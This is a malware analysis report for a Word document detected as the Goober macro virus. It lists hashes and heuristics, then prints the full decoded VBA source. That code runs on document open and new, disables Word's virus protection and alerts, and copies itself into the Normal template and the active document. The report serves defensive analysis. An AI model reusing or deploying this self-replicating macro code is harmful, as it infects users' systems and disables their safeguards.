Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e2f5c3da765bfbc…

MALICIOUS

Office (OLE)

64.5 KB Created: 2001-04-18 08:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 451b381154c0fb86957f07320d1725f8 SHA-1: b7c797d4b318843e70aef70bec32fc6450f0fd2f SHA-256: 4e2f5c3da765bfbc473cb76eadd8cd39281c294a699e4316fabf6c6752a56847
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro writes its own code to a file named 'C:\G00ber.sys' and then attempts to modify the document content. The presence of the Document_Open macro and the ClamAV detections strongly indicate malicious intent, likely delivered as a spearphishing attachment.

Heuristics 3

  • ClamAV: Doc.Trojan.Goober-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Goober-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7440 bytes
SHA-256: d88b1bd479d3d7c82b98b1ab35d4e2cbde6dd479e7ea4f0291f1e7f1d6a1ab51
Detection
ClamAV: Doc.Trojan.Goober-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True




Private Type Punkt
           xAchse As Long
           yAchse As Long
 End Type

Private Sub document_Open(): On Error Resume Next:

Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.ConfirmConversions = (0 - 0)
Options.SaveNormalPrompt = (1 - 1)
Options.VirusProtection = (2 - 2)


Open "C:\G00ber.sys" For Output As #1: Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines): Close #1
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines: ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("C:\G00ber.sys"): ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("C:\G00ber.sys"): ActiveDocument.SaveAs FileName = ActiveDocument.FullName

Set myRange = ActiveDocument.Range(Start:=0, End:=0)
With myRange.Find
    .ClearFormatting
    .Text = "ShiThe!"
    With .Replacement
        .ClearFormatting
        .Text = "The"
    End With
    .Execute Replace:=wdReplaceAll, Format:=True, MatchCase:=True, _
        MatchWholeWord:=True
End With

With myRange.Find
    .ClearFormatting
    .Text = "shithe!"
    With .Replacement
        .ClearFormatting
        .Text = "the"
    End With
    .Execute Replace:=wdReplaceAll, Format:=True, MatchCase:=True, _
        MatchWholeWord:=True
End With


End Sub
Private Sub document_New(): On Error Resume Next:

Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.ConfirmConversions = (0 - 0)
Options.SaveNormalPrompt = (1 - 1)
Options.VirusProtection = (2 - 2)


Open "C:\G00ber.sys" For Output As #1: Print #1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines): Close #1
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines: ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("C:\G00ber.sys"): ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("C:\G00ber.sys"): ActiveDocument.SaveAs FileName = ActiveDocument.FullName
    

End Sub

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